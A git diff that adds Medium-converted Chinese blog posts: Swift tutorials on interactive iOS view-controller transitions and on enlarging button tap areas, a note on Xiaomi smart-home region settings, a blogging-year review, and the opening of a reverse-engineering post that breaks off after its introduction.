HomeAddViewController: UIViewControllerTransitioningDelegate { + + func interactionControllerForDismissal(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { + //return nil 即不做交互處理 + return //UIPercentDrivenInteractiveTransition Dismiss時交互控制方法 + } + + func interactionControllerForPresentation(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { + //return nil 即不做交互處理 + return //UIPercentDrivenInteractiveTransition Present時交互控制方法 + } + + func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? { + //回傳 nil 即走預設動畫 + return //UIViewControllerAnimatedTransitioning Present時要套用的動畫 + } + + func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? { + //回傳 nil 即走預設動畫 + return //UIViewControllerAnimatedTransitioning Dismiss時要套用的動畫 + } + +} +``` + +⚠️⚠️⚠️⚠️⚠️ + + +> _有實作 interactionControllerFor … 這些方法,就算動畫是非交互\(EX: self\.present 系統呼叫轉場\) 也會 Call 這些方法處理;我們需要控制的是裡面的 `wantsInteractiveStart` 參數\(下面介紹\)。_ + + + + +#### 動畫交互處理類 UIPercentDrivenInteractiveTransition: + +再來講核心要實作的 `UIPercentDrivenInteractiveTransition` 。 +```swift +import UIKit + +class PullToDismissInteractive: UIPercentDrivenInteractiveTransition { + + //要加手勢控制交互的UIView + private var interactiveView: UIView! + //當前的UIViewController + private var presented: UIViewController! + //當托拉超過多少%後就完成執行,否則復原 + private let thredhold: CGFloat = 0.4 + + //不同轉場效果可能需要不同資訊,可自訂 + convenience init(_ presented: UIViewController, _ interactiveView: UIView) { + self.init() + self.interactiveView = interactiveView + self.presented = presented + setupPanGesture() + + //默認值,告知系統當前非交互動畫 + wantsInteractiveStart = false + } + + private func setupPanGesture() { + let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:))) + panGesture.maximumNumberOfTouches = 1 + panGesture.delegate = self + interactiveView.addGestureRecognizer(panGesture) + } + + @objc func handlePan(_ sender: UIPanGestureRecognizer) { + switch sender.state { + case .began: + //reset 手勢位置 + sender.setTranslation(.zero, in: interactiveView) + //告知系統當前開始的是手勢觸發的交互動畫 + wantsInteractiveStart = true + + //在手勢began時呼叫要做的轉場效果(不會直接執行,系統會抓住) + //然後轉場效果有設對應的動畫就會跳到 UIViewControllerAnimatedTransitioning 處理 + // animated 一定為 true 否則沒動畫 + + //Dismiss: + self.presented.dismiss(animated: true, completion: nil) + //Present: + //self.present(presenting,animated: true) + //Push: + //self.navigationController.push(presenting) + //Pop: + //self.navigationController.pop(animated: true) + + case .changed: + //手勢滑動的位置計算 對應動畫完成百分比 0~1 + //實際依動畫類型不同,計算方式不同 + let translation = sender.translation(in: interactiveView) + guard translation.y >= 0 else { + sender.setTranslation(.zero, in: interactiveView) + return + } + let percentage = abs(translation.y / interactiveView.bounds.height) + + //update UIViewControllerAnimatedTransitioning 動畫百分比 + update(percentage) + case .ended: + //手勢放開完成時,看完成度有沒有超過 thredhold + wantsInteractiveStart = false + if percentComplete >= thredhold { + //有,告知動畫完成 + finish() + } else { + //無,告知動畫歸位復原 + cancel() + } + case .cancelled, .failed: + //取消、錯誤時 + wantsInteractiveStart = false + cancel() + default: + wantsInteractiveStart = false + return + } + } +} + +//當UIViewController內有UIScrollView元件(UITableView/UICollectionView/WKWebView....),防止手勢衝突 +//當裡面的UIScrollView元件已滑到頂部,則啟用交互轉場的手勢操作 +extension PullToDismissInteractive: UIGestureRecognizerDelegate { + func gestureRecognizer(_ gestureRecognizer: UIGestureRecognizer, shouldRecognizeSimultaneouslyWith otherGestureRecognizer: UIGestureRecognizer) -> Bool { + if let scrollView = otherGestureRecognizer.view as? UIScrollView { + if scrollView.contentOffset.y <= 0 { + return true + } else { + return false + } + } + return true + } + +} +``` + +[_\*關於 sender\.setTranslation\( \.zero, in:interactiveView\) 原因的補充點我<_](https://stackoverflow.com/questions/29558622/pan-gesture-why-need-settranslation-to-zero){:target="_blank"} + +我們需要依據不同的手勢操作效果,實作不同的 Class;若是同個連貫\(Present\+Dismii\)的操作也可包在一起。 + +⚠️⚠️⚠️⚠️⚠️ + + +> `wantsInteractiveStart` _**務必處於符合的狀態** ,若在交互動畫時告知 `wantsInteractiveStart = false` 也會造成卡畫面;_ + + +> _要退出重進 APP 才會恢復正。_ + + + + + +⚠️⚠️⚠️⚠️⚠️ + + +> _interactiveView 也一定要是 **isUserInteractionEnabled = true** 哦_ + + +> _可以多加設置確保一下!_ + + + + +### 組合 + +當我們把這裡個 `Delegate` 設好、 `Class` 建好後就能做到我們想要的功能了。 +再來不囉唆,直接上完成範例。 +### 自製下拉關閉頁面效果 + +自製下拉的好處在能支援市面所有 iOS 版本、可控制蓋板百分比、控制觸發關閉位置、客製化動畫效果。 + + +![點右上方 \+ Present 頁面](/assets/14cee137c565/1*Wz8y5UJSgS0IUN86upSqLw.gif) + +點右上方 \+ Present 頁面 + +這是一個 `HomeViewController` Present `HomeAddViewController` 和 `HomeAddViewController` Dismiss的範例。 +``` +import UIKit + +class HomeViewController: UIViewController { + + @IBAction func addButtonTapped(_ sender: Any) { + guard let homeAddViewController = UIStoryboard(name: "Main", bundle: nil).instantiateViewController(identifier: "HomeAddViewController") as? HomeAddViewController else { + return + } + + //transitioningDelegate 可指定目標ViewController處理或當前的ViewController處理 + homeAddViewController.transitioningDelegate = homeAddViewController + homeAddViewController.modalPresentationStyle = .custom + self.present(homeAddViewController, animated: true, completion: nil) + } + +} +import UIKit + +class HomeAddViewController: UIViewController { + + private var pullToDismissInteractive:PullToDismissInteractive! + + override func viewDidLoad() { + super.viewDidLoad() + + //綁定轉場交互資訊 + self.pullToDismissInteractive = PullToDismissInteractive(self, self.view) + } + +} + +extension HomeAddViewController: UIViewControllerTransitioningDelegate { + + func interactionControllerForDismissal(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { + return pullToDismissInteractive + } + + func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? { + return PresentAndDismissTransition(false) + } + + func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? { + return PresentAndDismissTransition(true) + } + + func interactionControllerForPresentation(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? { + //這邊無Present操作手勢 + return nil + } +} +import UIKit + +class PullToDismissInteractive: UIPercentDrivenInteractiveTransition { + + private var interactiveView: UIView! + private var presented: UIViewController! + private var completion:(() -> Void)? + private let thredhold: CGFloat = 0.4 + + convenience init(_ presented: UIViewController, _ interactiveView: UIView,_ completion:(() -> Void)? = nil) { + self.init() + self.interactiveView = interactiveView + self.completion = completion + self.presented = presented + setupPanGesture() + + wantsInteractiveStart = false + } + + private func setupPanGesture() { + let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:))) + panGesture.maximumNumberOfTouches = 1 + panGesture.delegate = self + interactiveView.addGestureRecognizer(panGesture) + } + + @objc func handlePan(_ sender: UIPanGestureRecognizer) { + switch sender.state { + case .began: + sender.setTranslation(.zero, in: interactiveView) + wantsInteractiveStart = true + + self.presented.dismiss(animated: true, completion: self.completion) + case .changed: + let translation = sender.translation(in: interactiveView) + guard translation.y >= 0 else { + sender.setTranslation(.zero, in: interactiveView) + return + } + + let percentage = abs(translation.y / interactiveView.bounds.height) + update(percentage) + case .ended: + if percentComplete >= thredhold { + finish() + } else { + wantsInteractiveStart = false + cancel() + } + case .cancelled, .failed: + wantsInteractiveStart = false + cancel() + default: + wantsInteractiveStart = false + return + } + } +} + +extension PullToDismissInteractive: UIGestureRecognizerDelegate { + func gestureRecognizer(_ gestureRecognizer: UIGestureRecognizer, shouldRecognizeSimultaneouslyWith otherGestureRecognizer: UIGestureRecognizer) -> Bool { + if let scrollView = otherGestureRecognizer.view as? UIScrollView { + if scrollView.contentOffset.y <= 0 { + return true + } else { + return false + } + } + return true + } + +} +``` + +以上就能達到如圖的效果,這邊因教學展示不想弄的路太複雜,所以程式碼很醜,還有很多優化整合的空間。 + + +> **_值得一提的是…_** + + +> _iOS ≥ 13,如果遇到 View 內容有 UITextView,在做下拉關閉動畫時,動畫當中 UITextView 的文字內容會一片空白;造成體驗會閃一下 [\(影片範例\)](https://twitter.com/zhgchgli/status/1207851671553892352){:target="_blank"} …_ + + +> _這邊的解決方案是在做動畫時用 `snapshotView(afterScreenUpdates:)` 截圖取代原本的 View 圖層。_ + + + + +### 全頁右滑返回 + +在尋找全畫面都能手勢右滑返回的解決方案時,找到個 **Tricky** 的方法: +直接在畫面上加一個 `UIPanGestureRecognizer` 然後將 `target` 、 `action` +都指定到原生的 `interactivePopGestureRecognizer` , `action:handleNavigationTransition` 。 +[_\*詳細方法點我<_](https://juejin.im/entry/5795809dd342d30059ed5c60){:target="_blank"} + +沒錯!看起來就很 Private API,感覺審核會被拒;而且不確定 Swift 是否可用,應該有用到 OC 才有的 Runtime 特性。 +#### 還是走正規的吧: + +ㄧ樣使用本篇的方式,我們在 `navigationController` POP 返回時自行處理;添加一個全頁右滑手勢控制配合自訂右滑動畫,即可! + +其他省略,只貼關鍵的動畫跟交互處理類別: +``` +import UIKit + +class SwipeBackInteractive: UIPercentDrivenInteractiveTransition { + + private var interactiveView: UIView! + private var navigationController: UINavigationController! + + private let thredhold: CGFloat = 0.4 + + convenience init(_ navigationController: UINavigationController, _ interactiveView: UIView) { + self.init() + self.interactiveView = interactiveView + + self.navigationController = navigationController + setupPanGesture() + + wantsInteractiveStart = false + } + + private func setupPanGesture() { + let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:))) + panGesture.maximumNumberOfTouches = 1 + interactiveView.addGestureRecognizer(panGesture) + } + + @objc func handlePan(_ sender: UIPanGestureRecognizer) { + + switch sender.state { + case .began: + sender.setTranslation(.zero, in: interactiveView) + wantsInteractiveStart = true + + self.navigationController.popViewController(animated: true) + case .changed: + let translation = sender.translation(in: interactiveView) + guard translation.x >= 0 else { + sender.setTranslation(.zero, in: interactiveView) + return + } + + let percentage = abs(translation.x / interactiveView.bounds.width) + update(percentage) + case .ended: + if percentComplete >= thredhold { + finish() + } else { + wantsInteractiveStart = false + cancel() + } + case .cancelled, .failed: + wantsInteractiveStart = false + cancel() + default: + wantsInteractiveStart = false + return + } + } +} +``` +### 上拉漸入 UIViewController + +在View上上拉漸入+下拉關閉,就是在做類似 Spotify 的播放器轉場效果了! + +這部分較為繁瑣,但原理一樣,這邊就不 PO 出來了,有興趣的朋友可參考 GitHub 範例內容。 + +要說哪裡要注意,大概就是 **在上拉漸入時,動畫要確保是使用「\.curveLinear 線性」否則會出現上拉不跟手的問題** ;拉的程度跟顯示的位置不是正比。 +### 完成! + + +![完成圖](/assets/14cee137c565/1*RRAVb3p7mZpUCNOpd64-Pw.gif) + +完成圖 + + +> 此篇很長,也花了我許久時間整理製作,感謝您的耐心閱讀。 + + + +#### 全篇 GitHub 範例下載: + + +[![](https://opengraph.githubassets.com/af405b87d71ea95f59b19f5de94bda740a12566ddf86eb5a9b34d2271d53bb20/zhgchgli0718/UIViewControllerTransitionDemo)](https://github.com/zhgchgli0718/UIViewControllerTransitionDemo){:target="_blank"} + + +**參考資料:** +1. [Draggable view controller? Interactive view controller\!](https://imnotyourson.com/draggable-view-controller-interactive-view-controller/){:target="_blank"} +2. [系统学习iOS动画之四:视图控制器的转场动画](https://juejin.im/post/5c24745b6fb9a049d5198ce5#18-%E5%AF%BC%E8%88%AA%E6%8E%A7%E5%88%B6%E5%99%A8%E8%BD%AC%E5%9C%BA){:target="_blank"} +3. [系统学习iOS动画之五:使用UIViewPropertyAnimator](https://juejin.im/post/5c3aa7ff518825551e285b8d){:target="_blank"} +4. [用UIPresentationController来写一个简洁漂亮的底部弹出控件](https://juejin.im/post/5a9651d25188257a5911f666){:target="_blank"} \(單純只做Present 動畫效果可直接用這個\) + + +**若需要參考優雅的程式碼封裝使用:** +1. Swift: [https://github\.com/Kharauzov/SwipeableCards](https://github.com/Kharauzov/SwipeableCards){:target="_blank"} +2. Objective\-C: [https://github\.com/saiday/DraggableViewControllerDemo](https://github.com/saiday/DraggableViewControllerDemo){:target="_blank"} + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-uiviewcontroller-%E8%BD%89%E5%A0%B4%E4%BA%8C%E4%B8%89%E4%BA%8B-14cee137c565){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-01-12-94a4020edb82.md b/_posts/zmediumtomarkdown/2020-01-12-94a4020edb82.md new file mode 100644 index 000000000..2221911e6 --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-01-12-94a4020edb82.md @@ -0,0 +1,93 @@ +--- +title: "米家 APP / 小愛音箱地區問題" +author: "ZhgChgLi" +date: 2020-01-12T14:04:14.058+0000 +last_modified_at: 2023-08-05T17:04:02.912+0000 +categories: "ZRealm Life." +tags: ["生活","開箱","小米空氣清淨機","ios","小米"] +description: "新添購小米空氣淨化器 3 & 記錄下米家與小愛音箱的連動問題" +image: + path: /assets/94a4020edb82/1*X2T8fvt9LWwq-VgdOtDQDg.jpeg +render_with_liquid: false +--- + +### 米家 APP / 小愛音箱地區問題 + +新添購小米空氣淨化器 3 & 記錄下米家與小愛音箱的連動問題 + +### 前言 + +關於小米的第四篇;最近再加一新成員 — **「小米空氣淨化器 3」** +老實說從未關心過房間的空氣品質,平常看室外空氣霧濛濛還是會怕怕的,再加上本身長期鼻子過敏,就下手買了一台放房間了! + +新一代在主機上就有小螢幕顯示濾網剩餘使用時間、當前空氣品質、選擇運行模式,不用連接 APP 就能使用;連接 APP 的話就能遠端控制,但也沒其他特別的功能。 + +買回來兩週了,發現房間空氣品質不錯;戶外空氣好時,室內空氣品質數值約在 001~006;室外空氣不好時,室內大約在 008~015;數值超過 75 才算空氣品質不好,150以上算嚴重;應該改買吸塵器比較實用XD +不過有台空氣小尖兵守護家裡也是蠻不錯的。 + + +![](/assets/94a4020edb82/1*9H29xuJPqTEBZUZ8G2Nz7Q.jpeg) + +### 米家智慧家庭地區功能限制 + +米家 APP 有分台灣跟中國兩個地區可以選擇;地區選擇會影響 APP 內的功能,當初設定的時候選了中國地區,想說選哪區其實資料都不安全,那不如選功能多的地區,可以玩更多功能。 + +去年小愛音箱加入後,才注意到地區選擇有更複雜的問題;就是若要從小愛音箱控制米加智慧家電,兩個 APP 的地區必須選擇一樣,否則無法串接;這實在讓人苦惱,因為小愛音箱一樣如果選台灣,雖可搭配 KKBOX 但智慧功能是閹割版(少了小愛訓練)。 + +因此我的小愛音箱原本的地區選擇也是設中國地區,之前買的家電再加入上沒碰到問題,最後也最後也無礙的建立好完整的智慧家庭流程:出門跟小愛說掰掰就會自動關閉所有電器\+打開門口攝影機;回家則說到家了,一樣連動家電自動開啟;體驗起來蠻舒暢的! + + +![左:台灣/右:中國](/assets/94a4020edb82/1*KdFDLrUoAN3LUGtTGDgSWQ.jpeg) + +左:台灣/右:中國 +### **小米空氣淨化器 3的加入** + +買了那麼多小米居家用品,新成員當然也要加入我的米家 APP! +不過在加入的時候遇到問題,台灣版的小米空氣淨化器 3 無法加入我的米家 APP,要將米家 APP 地區切回台灣,才可…\. + +這下可麻煩了,唯獨空氣清淨機無法加入;怎麼試都無法,好像是配對方式台灣跟中國方式不一樣,無奈下只好將地區切回台灣,所有家電全部重設… 小愛音箱也改回台灣了。 + + +![](/assets/94a4020edb82/1*X2T8fvt9LWwq-VgdOtDQDg.jpeg) + +### 小愛音箱 \+ 米家智慧家庭場景控制 + +因地區切回台灣,少了「小愛訓練」功能;無法直接在 APP 內設置詞彙執行對應的米家智慧家庭場景;再多方嘗試下,發現其實智慧家庭有連結授權米家 APP 的話,場景、家電還是會自動連動到小愛音箱授權控制! + + +![](/assets/94a4020edb82/1*G8J5kk3VtpFEMZjvsYCyDA.png) + +### BUG + +我的場景「回家」小愛音箱能正確識別執行,但是「出門」卻一直無法識,嘗試了一個下午才發現是簡繁體問題;我把場景名稱換成「出门」,小愛音箱就能正常識別執行。 + + +> **_所以有場景無法執行問題的朋友不妨將場景名稱、裝置名稱改為簡體字。_** + + + + + + +![](/assets/94a4020edb82/1*wg4BaM5att9Zo3fPXFCKUw.png) + + + +> _完成!這樣就能在 APP 地區設定在台灣下,繼續照原本的體驗使用米加智慧家庭。_ + + + + +### 延伸閱讀 +1. [智慧家居初體驗 — Apple HomeKit & 小米米家 (米家智慧攝影機及米家智慧檯燈、Homekit設定教學)](../c3150cdc85dd/) +2. [小米智慧家居新添購(AI音箱、溫濕度感應器、體重計2、直流變頻電風扇)](../bcff7c157941/) +3. [iOS ≥ 13\.1 使用「捷徑」自動化功能搭配米家智慧家居(直接使用 iOS ≥ 13\.1 內建的捷徑APP完成自動化操作)](../21119db777dd/) +4. [**\[進階篇\]示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit**](../99db2a1fbfe5/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/%E7%B1%B3%E5%AE%B6-app-%E5%B0%8F%E6%84%9B%E9%9F%B3%E7%AE%B1%E5%9C%B0%E5%8D%80%E5%95%8F%E9%A1%8C-94a4020edb82){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-01-12-d01252331b53.md b/_posts/zmediumtomarkdown/2020-01-12-d01252331b53.md new file mode 100644 index 000000000..3135db427 --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-01-12-d01252331b53.md @@ -0,0 +1,78 @@ +--- +title: "Medium 經營一年回顧" +author: "ZhgChgLi" +date: 2020-01-12T15:49:30.685+0000 +last_modified_at: 2023-08-05T17:03:34.137+0000 +categories: "ZRealm Life." +tags: ["medium","ios","life","writing-life","medium-taiwan"] +description: "Medium 經營一年回顧的哩哩扣扣或是說 2019 年總結" +image: + path: /assets/d01252331b53/1*TKpaGn6Yv2bERvQ0bCfZLA.png +render_with_liquid: false +--- + +### Medium 經營一年回顧 + +Medium 經營一年回顧的哩哩扣扣或是說 2019 年總結 + + +轉眼之間在 Medium 發表文章已經過了一年,實際上週年慶應該是 2019/10 \(2018/10 第一篇\);但那時太忙了沒有靈感;眼看時間又向前邁入 2020 ,趕緊把經營一年的心得記錄一下、也當作是 2019 年總結吧! +### 回顧 + +在此先感謝 [Enther Wu](https://medium.com/u/f211da1977d0){:target="_blank"} 及 [Chih\-Hung Yeh](https://medium.com/u/baaffcc5aecc){:target="_blank"} 的推坑,重新燃起我的寫文魂;起初的文章比較像自己的日常或工作的心得筆記,內容較為空洞;不過依然很不要臉的貼到社群分享,現在回去看一開始的文章覺得有點糗,不知道在寫啥,內容含金量不高。 + +不過一切都是成長的過程,越寫越有手感,在記錄的過程中研究的範疇越來越廣;因為怕誤人子弟、怕有遺漏的地方、怕是自己誤會;在這些壓力下,寫文章不只是記錄了,而是自己對某個問題的深入探索,更多的反而是自己的收穫成長;相對地與大家分享的內容質量也提高了不少。 + +社群的大家真的很佛心,起初發文其實很怕被大家噴然後失去自信;但沒有,大家給的反饋都很正面,即使文章內容並不一定有幫助,也因為這股正面的鼓勵讓我在創作上更有信心,投入更多時間做紀錄;感謝大家的鼓勵! + +Medium 在寫作的體驗上真的很好,如果你也是程式開發者可以裝 [**Code Medium**](https://chrome.google.com/webstore/detail/code-medium/dganoageikmadjocbmklfgaejpkdigbe){:target="_blank"} 這個 Chrome Extension,可以直接在 Medium 之中使用 Gist 貼上漂亮的程式碼! +### Publication & Logo + +寫了生活又寫了技術,為了做區隔所幸建立了兩個 Publication 頻道: [**ZRealm Life\.**](https://medium.com/zrealm-life){:target="_blank"} **分享生活、開箱** / [**ZRealm Dev\.**](https://medium.com/zrealm-ios-dev){:target="_blank"} **分享工作、技術方面文章** , +讓大家可以依照自己想看的內容去追蹤。 + + +![](/assets/d01252331b53/1*TKpaGn6Yv2bERvQ0bCfZLA.png) + + +一個非常 **”西花“** 的東西 — **「LOGO」** ,生活要有儀式感?既然說是經營,那應該要有自己的品牌識別? +於是我請了設計大大幫我把我的 Logo 構想製作出來;我的設計構想:外框五角形是致敬母校 [台科大的校徽](https://www.ntust.edu.tw/home.php){:target="_blank"} ,五角代表板手代表技術工藝、內框 “ **ZR** ” 其實也沒變的意思就是我的英譯中文姓名 ZhongCheng 的首字 “ **Z”** 還有 **Realm** 我的地盤的 **”R”** 。 +### 收穫 + +要說收穫,先說寫文的初衷 — 「 **教學相長** 」,不是為了展示什麼、更不是為了賺錢;所有文章我都沒加入付費牆,知識不應該是要付費才能看的,知識本是力量; **如果喜歡可以多多支持 Medium 付費會員** ,這樣才能讓我們有較長遠的平台可以使用…\(實在很怕它不堪虧損\) + +要說收穫的話,除了金錢利益沒有,其他都有滿滿的收穫;第一是 **成就感** ,文章有人看、有迴響就會很有成就感,更有動力繼續寫文;再來是認識了許多朋友產生更多的交流;我是屬於被動社交的人,在寫文章之前其實對社群是非常陌生的,幾乎沒有交流,現在認識許多朋友,覺得 **在開發的路上並不孤單了!\(如同我 Publication 的副標題 — 「解決問題的道路上你並不孤單」\)** 。 +### 統計 + +既然說是回顧,那不免俗要統計一下數據。 +2019年\(含2018年末\)一共發表了: +**25** 篇文章: **2** 篇生活 \+ **5** 篇開箱 \+ **18** 篇技術文章 +累積約 **60,000** 次流量、 **5,000** 個拍手、突破 **200** 位追蹤者! +#### 表現比較好的文章有: +1. [iOS Deferred Deep Link 延遲深度連結實作\(Swift\)](../b08ef940c196/) +2. [AirPods 2 開箱及上手體驗心得](../33afa0ae557d/) +3. [如何打造一場有趣的工程CTF競賽](../729d7b6817a4/) +4. [APP有用HTTPS傳輸,但資料還是被偷了。](../46410aaada00/) +5. [Apple Watch Series 4 從入手到上手全方位心得](../a2920e33e73e/) + + + +> 感謝大家的支持與愛護,今年也會繼續加油的! + + + + + +> 你的追蹤與回饋就是我寫作的原動力! + + + + +ZhgChgLi, 2020/01/11\. + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/medium-%E7%B6%93%E7%87%9F%E4%B8%80%E5%B9%B4%E5%9B%9E%E9%A1%A7-d01252331b53){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-02-01-a8c2d7ed144b.md b/_posts/zmediumtomarkdown/2020-02-01-a8c2d7ed144b.md new file mode 100644 index 000000000..bd17b7850 --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-02-01-a8c2d7ed144b.md @@ -0,0 +1,150 @@ +--- +title: "iOS 擴大按鈕點擊範圍" +author: "ZhgChgLi" +date: 2020-02-01T13:45:49.438+0000 +last_modified_at: 2024-04-13T08:07:41.671+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","swift","顧小事成大事","uikit","ios"] +description: "重寫 pointInside 擴大感應區域" +image: + path: /assets/a8c2d7ed144b/1*A4hoqSNLYhCUoJfRFrX9hw.jpeg +render_with_liquid: false +--- + +### iOS 擴大按鈕點擊範圍 + +重寫 pointInside 擴大感應區域 + + +日常開發上經常遇到版面照著設計 UI 排好之後,畫面美美的,但是實際操作上按鈕的感應範圍太小,不容易準確點擊;尤其對手指粗的人極不友善。 + + +![完成範例圖](/assets/a8c2d7ed144b/1*A4hoqSNLYhCUoJfRFrX9hw.jpeg) + +完成範例圖 +### Before… + +關於這個問題當初沒特別深入研究,直接暴力蓋一個範圍更大的透明 UIButton 在原按鈕上,並使用這個透明的按鈕響應事件,做起來非常麻煩、元件一多也不好控制。 + +後來改用排版的方式解決,按鈕在排版時設定上下左右都對齊0 \(或更低\),再控制 `imageEdgeInsets` 、 `titleEdgeInsets` 、 `contentEdgeInsets` 這三個內距參數,將 Icon/按鈕標題 推到 UI 設計的正確位置;但這個做法比較適合使用 Storyboard/xib 的專案,因為可以直接在 Interface Builder 去推排版;另外一個是設計出的 Icon 最好要是沒有劉間距的,不然會不好對位置,有時候可能就卡在那個 0\.5 的距離,怎麼調都不對齊。 +### After… + +正所謂見多識廣,最近接觸到新專案之後又學到了一小招;就是可以在 UIButton 的 pointInside 中加大事件響應範圍,預設是 UIButton 的 Bounds,我們可以在裡面延伸 Bounds 的大小使按鈕的可點擊區域更大! +#### 經過以上思路…我們可以: +```swift +class MyButton: UIButton { + var touchEdgeInsets:UIEdgeInsets? + override open func point(inside point: CGPoint, with event: UIEvent?) -> Bool { + var frame = self.bounds + + if let touchEdgeInsets = self.touchEdgeInsets { + frame = frame.inset(by: touchEdgeInsets) + } + + return frame.contains(point); + } +} +``` + +自訂一個 UIButton ,增加 `touchEdgeInsets` 這個 public property **存放要擴張的範圍** 方便我們使用;接著複寫 pointInside 方法,實作上述的想法。 +#### 使用: +```swift +import UIKit + +class MusicViewController: UIViewController { + + @IBOutlet weak var playerButton: MyButton! + + override func viewDidLoad() { + super.viewDidLoad() + + playerButton.touchEdgeInsets = UIEdgeInsets(top: -10, left: -10, bottom: -10, right: -10) + } + +} +``` + + +![播放按鈕/藍色為原始點擊區域/紅色為擴大後的點擊範圍](/assets/a8c2d7ed144b/1*EvI5wmNos0TjGDrapnHLgg.png) + +播放按鈕/藍色為原始點擊區域/紅色為擴大後的點擊範圍 + +使用時只需記得要將 Button 的 Class 指定為我們自訂的 MyButton,然後就能透過設定 `touchEdgeInsets` 針對個別 Button 擴大點擊範圍! + + +> _️⚠️⚠️⚠️⚠️️️️⚠️️️️_ + + +> _使用 Storyboard/xib 時記得設 `Custom Class` 為 MyButton_ + + + + + +> _⚠️⚠️⚠️⚠️⚠️_ + + +> `touchEdgeInsets` _以\(0,0\)自身為中心向外,所以上下左右的距離要用 **負數** 來延伸。_ + + + + +#### 看起來不錯…但是: + +對於每個 UIButton 都要置換成自訂的 MyButton 其實挺繁瑣的也增加程式的複雜性、甚至在大型專案中可能會有衝突。 + +對於這種我們認為應該所有 UIButton 天生都應該要具有的功能,如果可以,我們希望能直接 Extension 擴充原本的 UIButton : +```swift +private var buttonTouchEdgeInsets: UIEdgeInsets? + +extension UIButton { + var touchEdgeInsets:UIEdgeInsets? { + get { + return objc_getAssociatedObject(self, &buttonTouchEdgeInsets) as? UIEdgeInsets + } + + set { + objc_setAssociatedObject(self, + &buttonTouchEdgeInsets, newValue, + .OBJC_ASSOCIATION_RETAIN_NONATOMIC) + } + } + + override open func point(inside point: CGPoint, with event: UIEvent?) -> Bool { + var frame = self.bounds + + if let touchEdgeInsets = self.touchEdgeInsets { + frame = frame.inset(by: touchEdgeInsets) + } + + return frame.contains(point); + } +} +``` + +使用上如前述使用範例。 + +因 Extension 不能包含 Property 否則會報編譯錯誤「Extensions must not contain stored properties」,這邊參考了 [使用 Property 配合 Associated Object](https://swifter.tips/associated-object/){:target="_blank"} 將外部變數 `buttonTouchEdgeInsets` 關聯到我們的 Extension 上,就能如 Property 日常使用。\(詳細原理請參考 [貓大的文章](https://swifter.tips/associated-object/){:target="_blank"} \) +#### UIImageView \(UITapGestureRecognizer\) 呢? + +針對圖片點擊、我們自己在 View 上加的 Tap 手勢; +ㄧ樣能透過複寫 UIImageView 的 pointInside 達到同樣的效果。 + + +> **_完成!經過不斷的改進,在解決這個議題上更簡潔方便了不少!_** + + + +#### 參考資料: + +[UIView 改变触摸范围 \(Objective\-C\)](https://bqlin.github.io/iOS/UIView%20%E6%94%B9%E5%8F%98%E8%A7%A6%E6%91%B8%E8%8C%83%E5%9B%B4/){:target="_blank"} +### 附記 + +去年同一時間想開個小分類「 **顧小事成大事** 」紀錄一下日常開發瑣碎的小事,但這些小事默默累積又能成大事增加整個 APP 的不管是體驗或是程式方面;結果 [拖了一年](../6012b7b4f612/) 才又增加了一篇文章 <\( \_ \_ \)>,小事真的很容易忘了記錄啊! + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-%E6%93%B4%E5%A4%A7%E6%8C%89%E9%88%95%E9%BB%9E%E6%93%8A%E7%AF%84%E5%9C%8D-a8c2d7ed144b){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-03-28-7498e1ff93ce.md b/_posts/zmediumtomarkdown/2020-03-28-7498e1ff93ce.md new file mode 100644 index 000000000..2a4731d8d --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-03-28-7498e1ff93ce.md @@ -0,0 +1,309 @@ +--- +title: "iOS 逆向工程初體驗" +author: "ZhgChgLi" +date: 2020-03-28T10:24:40.872+0000 +last_modified_at: 2023-08-05T17:02:37.650+0000 +categories: "ZRealm Dev." +tags: ["ios","ios-app-development","hacking","jailbreak","security"] +description: "從越獄、提取iPA檔敲殼到UI分析注入及反編譯的探索過程" +image: + path: /assets/7498e1ff93ce/1*6MhDQU2llMbYPb2j5GqxZg.jpeg +render_with_liquid: false +--- + +### iOS 逆向工程初體驗 + +從越獄、提取iPA檔敲殼到UI分析注入及反編譯的探索過程 + +### 關於安全 + +之前唯一做過跟安全有關的就只有 [**<< 使用中間人攻擊嗅探傳輸資料 >>**](../46410aaada00/) ;另外也接續這篇,假設我們在資料傳輸前編碼加密、接受時 APP 內解密,用以防止中間人嗅探;那還有可能被偷走資料嗎? + + 